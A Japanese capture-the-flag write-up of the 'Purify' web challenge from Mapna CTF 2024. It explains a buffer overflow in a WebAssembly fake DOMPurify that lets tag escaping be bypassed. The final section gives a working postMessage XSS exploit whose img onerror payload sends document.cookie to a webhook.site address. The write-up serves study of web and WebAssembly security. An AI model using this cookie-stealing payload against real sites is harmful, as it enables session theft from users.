あけましておめでとうございます。1/21から1/22にかけてASISが開催していたMapna CTF 2024に、BunkyoWesternsとして参加した。結果は1位で嬉しい。
Web問は6問が出題されていたけれども、うち4問は私が取り掛かる前にSatokiさんがすでに解いていたし、1問は競技時間内に解ききれなかったしで、個人としてはPurifyという1問のみを解いた。
[Web 398] Purify (4 solves)
I think I downloaded the wrong DOMPurify.
Website: (URL その1)
Admin bot: (URL その2)添付ファイル: purify_206ec7c8d65c88cb617775a62bc5ab9bcfaa7baa.txz
次のようなファイルが与えられている。nginxで app
下の静的コンテンツを配信する web
と、フラグ付きで web
にChromiumでアクセスしてくれる bot
という2つのコンテナから構成されている。
$ tree . . ├── purify │ ├── app │ │ ├── nginx.conf │ │ └── static │ │ ├── css │ │ │ └── style.css │ │ ├── index.html │ │ ├── js │ │ │ ├── purify.js │ │ │ └── script.js │ │ └── purify.wasm │ ├── bot │ │ ├── Dockerfile │ │ └── stuff │ │ ├── bot.js │ │ ├── index.js │ │ ├── package-lock.json │ │ ├── package.json │ │ └── static │ │ └── index.html │ ├── docker-compose.yaml │ └── purify.c └── purify_206ec7c8d65c88cb617775a62bc5ab9bcfaa7baa.txz 8 directories, 15 files
bot/stuff/bot.js
は次の通り。いつものやつという感じで、flag
という名前のCookieを web
というドメインで設定した上で、ユーザの指定したURLにアクセスしてくれる。このURLについて、そのオリジンは http://web
に限られておらず、どんなURLでも通報すればアクセスしてくれる。
httpOnly
が false
であるから、web
でXSSを引き起こすことができれば、JavaScript側から document.cookie
にアクセスしてフラグが得られるとわかる。
#!/usr/bin/env node const puppeteer = require('puppeteer') const flag = process.env.FLAG || 'MAPNA{test-flag}'; async function visit(url){ let browser; if(!/^https?:\/\//.test(url)){ return; } try{ browser = await puppeteer.launch({ pipe: true, args: [ "--no-sandbox", "--disable-setuid-sandbox", "--ignore-certificate-errors", ], executablePath: "/usr/bin/google-chrome-stable", headless: 'new' }); let page = await browser.newPage(); await page.setCookie({ name: 'flag', value: flag, domain: 'web', httpOnly: false, secure: false, sameSite: 'Lax' }); await page.goto(url,{ waitUntil: 'domcontentloaded', timeout: 2000 }); await new Promise(r=>setTimeout(r,5000)); }catch(e){ console.log(e) } try{await browser.close();}catch(e){} process.exit(0) } visit(JSON.parse(process.argv[2]))
app/static/index.html
と app/static/js/script.js
はそれぞれ以下の通り。シンプルな構造で、postMessage
で送られてきたメッセージについて、"DOMPurify" によってエスケープ処理を施した上で innerHTML
で表示している。
この時点で気になる点としては、送られてきたメッセージは window.onmessage
で受け取っているけれども、ここで送信元のオリジンを検証していないということがある。たとえば攻撃者のWebページから iframe
や window.open
でこのページを開き、postMessage
でメッセージを送信しても、その内容を表示してくれる。もっとも、flag
というCookieには SameSite=Lax
が指定されているので、このCookieを送信させたければtop-level navigationとみなされる window.open
を使用する必要がある。iframe
ではダメだ。
index.html <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Purify</title> <script src="./js/purify.js"></script> <link href="./css/style.css" rel="stylesheet"/> </head> <body> </body> <div> <h2>Received messages:</h2> <ul id="list"> </ul> </div> <script src="./js/script.js"></script> </html>
// script.js window.onmessage = e=>{ list.innerHTML += ` <li>From ${e.origin}: ${window.DOMPurify.sanitize(e.data.toString())}</li> ` } setTimeout(_=>window.postMessage("hi",'*'),1000)
もしこの "DOMPurify" が本物であればXSSへ持ち込むことは極めて難しいのだけれども、以下に示す app/static/js/purify.js
のコードを見るとわかるようにWebAssemblyで作られている。偽物だ。
purify.wasm
側では少なくとも set_mode
, add_char
, get_char
という関数がエクスポートされている(JavaScript側から呼び出せる)とわかる。エスケープにあたっては、まず set_mode
でよくわからないが何かしらのモードをセットし、1文字ずつ add_char
でエスケープしたい文字列を送信し、そして再び1文字ずつ get_char
でエスケープ後の文字列を取得する。なお、get_char
はnull文字が返ってくるまで繰り返される。
// purify.js async function init() { window.wasm = (await WebAssembly.instantiateStreaming( fetch('./purify.wasm') )).instance.exports } function sanitize(dirty) { wasm.set_mode(0) for(let i=0;i<dirty.length;i++){ wasm.add_char(dirty.charCodeAt(i)) } let c let clean = '' while((c = wasm.get_char()) != 0){ clean += String.fromCharCode(c) } return clean } window.DOMPurify = { sanitize, version: '1.3.7' } init()
purify.wasm
に脆弱性はないだろうか。そのソースコードが purify.c
として次の通りに与えられている。先程エスケープ時に最初に呼び出されると言っていた set_mode
について、その引数が 1
であれば escape_attr
が、そうでなければ escape_tag
がという形で、何をエスケープするかのチェックに使われる関数が切り替えられるようだ。purify.js
では 0
を引数として与えているので、escape_tag
が選択される。
add_char
中で is_dangerous
という、escape_tag
もしくは escape_attr
が入る関数ポインタが参照されている。escape_
から始まる名前から連想される処理とはやや違っており、これらは与えられた文字が <
や >
のような危険なものであれば 1
を、安全と思われるものであれば 0
を返すという関数になっている。add_char
は、これらの関数を使ってある文字が危険かどうか判定し、もし危険であれば hex_escape
で数値文字参照へ変換する。
globalVars
という構造体のグローバルな変数である g
に、エスケープ後の文字列(buf
)や、is_dangerous
が含まれている。これは len
と len_r
というメンバも持つけれども、それぞれ次に add_char
と get_char
が呼び出された際に buf
のどの位置を参照するかを意味する。g
が持つ buf
と len_r
を元に、get_char
はエスケープ後の文字を1文字ずつ返していく。
// clang --target=wasm32 -emit-llvm -c -S ./purify.c && llc -march=wasm32 -filetype=obj ./purify.ll && wasm-ld --no-entry --export-all -o purify.wasm purify.o struct globalVars { unsigned int len; unsigned int len_r; char buf[0x1000]; int (*is_dangerous)(char c); } g; int escape_tag(char c){ if(c == '<' || c == '>'){ return 1; } else { return 0; } } int escape_attr(char c){ if(c == '\'' || c == '"'){ return 1; } else { return 0; } } int hex_escape(char c,char *dest){ dest[0] = '&'; dest[1] = '#'; dest[2] = 'x'; dest[3] = "0123456789abcdef"[(c&0xf0)>>4]; dest[4] = "0123456789abcdef"[c&0xf]; dest[5] = ';'; return 6; } void add_char(char c) { if(g.is_dangerous(c)){ g.len += hex_escape(c,&g.buf[g.len]); } else { g.buf[g.len++] = c; } } int get_char(char f) { if(g.len_r < g.len){ return g.buf[g.len_r++]; } return '\0'; } void set_mode(int mode) { if(mode == 1){ g.is_dangerous = escape_attr; } else { g.is_dangerous = escape_tag; } }
g.buf
のサイズは 0x1000
バイトしかない。add_char
では g.len
がそのサイズを超えているかのチェックがなされていないわけだから、バッファオーバーフロー(BOF)が発生する。メモリ上は g.buf
より後ろに g.is_dangerous
が位置しているので、これが指す関数を書き換えられそうに思う。
そもそもwasmでは g.is_dangerous
の呼び出しがどのように実現されているか。Chromeの開発者ツールでSources → purify.wasm
から逆アセンブルし、add_char
としてエクスポートされている関数を見てみると、次のように call_indirect
という命令がそれにあたるとわかる。
call_indirect
の後ろに (param i32) (result i32)
とあるけれども、これは1個の i32
を引数として受け取り、i32
を返り値として返す関数を呼び出すことを意味する。
では、ここでどうやって特定の関数を指定しているか。このwasmは以下のように table
セクションと elem
セクションを持っており、escape_attr
, escape_tag
のような関数を要素として持っている。call_indirect
はスタックから i32
の値を持ってきて、このテーブルの何番目の関数を指すかを意味するオフセットとして解釈し、その関数を呼び出す。g.is_dangerous
にはこのオフセットが入っている。
sanitize
の最初の set
によって、g.is_dangerous
には最初 escape_tag
のオフセット、つまり 2
が入っている。これを 1
に置き換えることで escape_attr
が呼び出されるようにできるのではないか。escape_tag
は <
と >
をエスケープするのに対して、escape_tag
は "
と '
をエスケープするから、これでXSSに持ち込めるのではないか。
sanitize
の返り値を console.log
で出力するよう script.js
を変更した上で、以下のような内容のHTMLにアクセスする。すると、<
がエスケープされずに出力された。
<script> let w = window.open('http://web'); setTimeout(() => { w.postMessage('A'.repeat(0x1000) + '\x01<', '*'); }, 100); </script>
しかしながら、まだ問題がある。g.is_dangerous
の型は i32
であり、上記のようにBOFを行ってしまうとメモリ上では 01 3c 00 00
に、つまり15361に書き換えられてしまう。上述の call_indirect
が参照するテーブルは3つしか要素がないので、そのままエスケープなしに出力させようとすると table index is out of bounds
というエラーが発生してしまう。
'A'.repeat(0x1000) + '\x01\x00\x00\x00' + '<s>test</s>'
のように g.is_dangerous
を 01 00 00 00
で置き換えて、その後にHTMLタグを仕込めばよいのではないかと思うが、単純に置き換えるだけだとダメだ。というのも、sanitize
は get_char
がnull文字を返せばそこで文字列が終わっていると判断してしまうためだ。なんとかして 00
の部分を読み飛ばすことはできないか。
let c let clean = '' while((c = wasm.get_char()) != 0){ clean += String.fromCharCode(c) }
ふと、同時に postMessage
で複数のメッセージを送るとどうなるかと考えた。今回使われている偽DOMPurifyは同じ purify.wasm
のインスタンスを使いまわしており、かつ g
の初期化を行うような処理はない。複数回 sanitize
が呼び出されると、前回の続きから再開される。
g.len_r
の値も保持されているから、「前回の続きから再開される」というのは get_char
も含む。たとえnull文字が含まれていたとしても、3回呼び出せば g.is_dangerous
の範囲を抜け出して、それ以降のHTMLタグを含む文字列を出力させることもできる。なお、buf
に入っているのはすでにエスケープされたとみなされている文字列であり、後から wasm.set_mode(0)
によって g.is_dangerous
が escape_tag
を指す 2
に変えられてしまっても影響はない。
まずBOFで is_dangerous
に escape_attr
を指す 1
を書き込み、ついでに外部へCookieを送信させるJSコードを実行するHTMLタグを、エスケープなしに buf
(といっても本来の buf
の範囲は超えているが…)へ載せさせる。その後で3回適当なメッセージを送ると、最後にHTMLタグを含んだ文字列が出力されるはずだ。
<script> let w = window.open('http://web'); setTimeout(() => { w.postMessage("A".repeat(0x1000) + '\x01\x00\x00\x00' + '<img src=x onerror=location.assign([`http://webhook.site/…?`,document.cookie])>', '*'); w.postMessage('a', '*'); w.postMessage('a', '*'); w.postMessage('a', '*'); }, 100); </script>
これを通報するとフラグが飛んできた。
MAPNA{e22e0bf86e0813d9d3c7ae3f8022e41d}